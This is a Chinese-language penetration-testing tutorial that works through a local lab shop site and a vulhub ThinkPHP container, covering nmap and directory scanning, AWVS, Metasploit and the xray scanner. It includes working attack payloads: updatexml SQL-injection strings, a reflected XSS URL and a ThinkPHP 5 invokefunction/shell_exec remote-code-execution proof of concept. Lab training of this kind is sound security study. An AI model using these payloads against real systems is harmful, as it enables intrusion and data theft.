一、搭建靶场webshop(www.example1.com)
二、信息收集
1、获取IP
win+R→cmd→ping www.example1.com→显示出ip(192.168.51.128)
注:TTL为IP包的生存时间,拿到TTL我们可以大概的判断一下目标机器的操作系统,但不是很准确,因为TTL是可以修改的,TTL=64:Linux TTL=128:windows
这里获得到的TTL=64,大概可以判断服务器为Linux系统
2、nmap
打开kali→查看nmap版本(nmap -v)确定安装了nmap→执行探测命令:
nmap -o -sv 192.168.51.128
# -o表示要探测目标主机的操作系统
# -sv表示要探测目标主机的版本指纹
nmap -p 192.168.51.128 #探测目标主机的端口
收集到的信息有:Linux操作系统,开放端口:20、21、22、80、443、888
3、敏感目录
在浏览器测试常见的敏感目录(/admin、/web.config、/roobts.txt),如果没有可以尝试使用各种目录扫描工具扫描(如御剑、铸剑、dirsearch、dirmap等)
注:常见的敏感目录这个站点都能访问,这里使用工具来进行扫描
3.1、铸剑(7kbscan)
打开铸剑→扫描目标(www.example1.com)→切换加载dir→选择字典→开始
根据扫描结果可以判定目标站点有admin页面而且编程语言是php,但是访问扫描成功的URL发现都是在主页。经过研判发现这个规则为只要URL中存在后缀名、点或者一些特殊字符则会显示主页,否则显示自定义的错误页面。其实这也是一种防止目录扫描的方式,这种方式与waf拦截不同,waf拦截我们可以尝试修改UA头,挂代理,延迟等方式来绕过,而这种方式无法被绕过。
遇到这种情况我们可以换一种工具来进行目录扫描,如dirmap
3.2、dirmap
打开kali→dirmap需要一个python3的环境才能运行,检查环境(python --version、pip --version)→没安装dirmap的话需要先安装一下→打开dirmap(1、cd /opt/dirmap #安装在了opt下
2、python3 dirmap.py -h #可用 -i和 -lcf两个参数)→开始扫描目标站点(python3 dirmap.py -i www.example1,com -lcf)→扫描结果放在了output目录下,打开看看(cd output vim www.example1.com,txt)
收集到的信息有:存在/admin目录且编程语言是php
4、其他信息
通过观察,我们发现站点底部信息,还能得知待测试站点基于iwebshop开发,可以去网上找一下iwebshop已知漏洞
5、信息汇总
目前收集到的信息有:
域名:www.example1.com IP:192.168.51.128
操作系统:Linux 开放端口:20、21、22、80、443、888
开发语言:PHP cms:iwebshop
后台登陆地址:http://www.example1.com/admin/
三、web漏洞
1、通用扫描工具AWVS
1.1、安装
1.2、设置中文
1.3、扫描目标
1.4、验证漏洞
可以看到里面包含xss漏洞,可以试着攻击一下
再试试sql注入
爆数据库版本:'and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) and 'VrnL'='VrnL 得到数据库版本为:5.7.43-log
爆数据库用户名:'and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1) and 'VrnL'='VrnL 得到数据库名:www_example1_com@localhost
再试试反射型xss
http://www.example1.com/index.php?action=search_list&controller=site&word=1'''><script>alert(xss)</script>
直接弹窗
2、框架漏洞
程序员在编写程序的时候,都会用到一些框架,不同的语言有不同的框架,例如JAVA的spring,python的diango,php的ThinkPHP等。
下面以ThinkPHP为例学习一下框架漏洞
ThinkPHP版本有很多,现在主要是ThinkPHP5和ThinkPHP6,接下来我们看几个漏洞 接下来我们通过vulhub靶场来复现 首先要安装docker、docker-compose,同样是用到了kali虚拟机
安装docker和docker-compose #添加docker的gpg密钥,签名用的 curl -fsSL https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian/gpg | sudo apt-key add - #添加docker的apt源 echo 'deb https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/debian/ buster stable' | sudo tee /etc/apt/sources.list.d/docker.list #更新apt缓存 apt update #安装docker sudo apt-get install docker docker-compose -y 或 sudo apt-get install docker.io -y sudo apt-get install docker-compose -y #如果docker-compose安装有问题,可以用以下命令安装 sudo curl -L https://github.com/docker/compose/releases/download/1.16.1/docker/compose-`uname -s`-`uname -m` -o /usr/local/bin/docker-compose #装完之后执行以下命令,添加权限 sudo chmod +x /usr/local/bin/docker-compose #安装完成之后,docker就自动启动了 systemctl status docker #查看docker版本 docker -v
docker安装好之后再来安装vulhub靶场
cd到vulhub目录下(vulhub靶场已安装好),可以看到有很多框架对应的目录,同时也有我们要用到的thinkphp → cd到thinkphp目录下,可以看到有几个漏洞可以复现,其中有5-rce和5.0.23-rce,接下来来学习一下这两个漏洞
首先来删除一下之前执行过的docker容器:docker rm -f ‘容器名’
2.1、ThinkPHP5.0.22/5..1.29远程代码执行漏洞
清空之后我们再将5-rce拉起来
cd 5-rce docker-compose up -d → 出现错误,需要配置docker代理服务器(配置好后直接访问kali的ip地址192.168.51.129端口号8080,就可以进入靶场),进入网页→打开burp抓包→发送到Repeater,关闭拦截→将Poc(http://192.168.79.137:8081/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=shell_e xec&vars[1][]=id)粘贴到请求框中,发送请求→响应包中得到我们请求的id值→将Poc中的id改为ls,就能执行ls命令拿到目录下的所有文件和目录名称
至此就完成了一次远程命令执行
四、系统漏洞探针
扫描器分为两种,web漏洞扫描器和系统漏洞扫描器,前面我们用到的AWVS就是web漏洞扫描器 有些web漏洞扫描器也能扫描一些系统漏洞,但是没有专业的系统漏洞扫描器那么强大,系统漏洞扫描器涵盖了系统中数据库的漏洞、操作系统漏洞、系统软件漏洞(ssh、ftp等)、web服务应用程序漏洞等web漏洞扫描一般是扫描web程序漏洞,系统漏洞扫描器比较出名的有:启明星辰的天镜、绿盟科技的极光漏洞扫描器。
1、Goby
Goby是一款新的网络安全测试工具,它能够针对一个目标企业梳理最全的攻击面信息同时能进行高效、实战化漏洞扫描并快速地从一个验证入口点,切换到横向。
2、Nessus
Nessus 是目前全世界最多人使用的系统漏洞扫描与分析软件,国外开发的总共有超过75,000个机构使用Nessus 作为扫描该机构电脑系统的软件,可以以用户指定的格式(ASCII 文本、html 等)产生详细的输出报告,包括目标的脆弱点、怎样修补漏洞以防止黑客入侵及危险级别。
3、漏洞利用(ms17-010)
我们复现用到的工具是msf,全称是Metasploit Fraemework,是一个非常好用而且简单的工具 其中准备了大量的模块共使用,输入命令就可以直接完成测试 同样,还是用到我们熟悉的kali虚拟机。
过程:永恒之蓝漏洞复现(可查找其他文章,这里不再赘述)
五、Xray
xray 是一款功能强大的安全评估工具,由多名经验丰富的一线安全从业者呕心打造而成,主要特性有: 检测速度快:发包速度快; 漏洞检测算法效率高。 支持范围广:大至 OWASP Top 10 通用漏洞检测,小至各种 CMS 框架 POC,均可以支持。 代码质量高:编写代码的人员素质高, 通过 Code Review、单元测试、集成测试等多层验证来提高代码 可靠性。 高级可定制:通过配置文件暴露了引擎的各种参数,通过修改配置文件可以客制化功能。 安全无威胁:xray 定位为一款安全辅助评估工具,而不是攻击工具,内置的所有 payload 和 poc 均为 无害化检查。
1、下载和运行
2、扫描单个url
xray有四种模式,单个url扫描,多个url扫描,爬虫模式,代理模式
单个url扫描:
.\xray_windows_amd64.exe webscan --url http://www.example1.com/ --html-output 1.html
只扫描出三个敏感目录
扫描sql注入漏洞,需要给它指定携带参数的url,不然xray也扫描不出来sql注入漏洞。
.\xray_windows_amd64.exe webscan --url http://www.example1.com/index.php? action=search_list'&'controller=site'&'word=1 --html-output 2.html
扫描出的结果就比较多,有xss,有sql
注意:为什么使用 --url 指定目标扫描很快就结束了? 在指定 --url URL 的情况下,xray 只会针对该 URL 本身进行漏洞检测,不会爬取网站内容。 比如,你输入 --url https://baidu.com ,xray 只会检测百度首页的漏洞,这种情况下通常是无法扫描出漏洞的。如果你需要利用爬虫爬取页面后再检测漏洞,可以使用 --basic-crawler 选项。
3、扫描多个url
准备url.txt文件 扫描命令:.\xray_windows_amd64.exe webscan --url-file .\url.txt --html-output 3.html 扫描出来结果是差不多的,只不过是执行了多个单个url扫描而已。
4、爬虫模式
4.1、没有登录扫描
命令:.\xray_windows_amd64.exe webscan --basic-crawler http://www.example1.com/ -- html-output 4.html
没有登陆的扫描,直接执行命令就行了,我们原理和AWVS差不多,都是用爬虫去爬数据,所以耗时会 久一点。
4.2、指定登录扫描
修改配置文件
命令:.\xray_windows_amd64.exe webscan --basic-crawler http://www.example1.com/ -- html-output 5.html
结果中发的数据包都带上了Cookie
5、代理模式
接下来呢,我们来讲讲代理模式,这是和其他扫描工具不同的,也是xray的一个特点 xray的代理模式类似于burp,是被动扫描,但是比burp自动化更高 现在市面上用xray很多,就是因为它的爬虫模式和代理模式结合。
5.1、扫描http
输入命令:.\xray_windows_amd64.exe webscan --listen 0.0.0.0:8080 --html-output 1.html # --listen 监听,就是代理模式 这里我们监听的0.0.0.0,意思是所有IP的数据,端口是8080 # --html-output 将结果导出html格式的文件
→这就是开始监听了,然后我们设置一下代理 在任务栏搜索一下“代理”,点击代理服务器设置→打开浏览器,访问靶机的网站→可以看到,我们xray就已经监听到有数据流过来了→输入ctrl+c,中断监听→在xray的文件夹下面就生成了一个1.html
5.2、安装证书、扫描https
我们的靶场是http的网页,如果想要扫https的网页怎么办呢 我们要先安装证书 可以看到我们运行了xray的监听模式之后,文件夹下会生成一个ca.crt文件,这个就是证书。安装好证书之后就可以直接扫https的网站了。
5.3、联动burp
xray还可以和burp联动 有两种模式,一种是xray将数据包转给burp,另一种是burp抓到包之后再转给burp 第一种,这种模式主要是用来研究xray用的,可以用burp看到和学习xray的一些payload。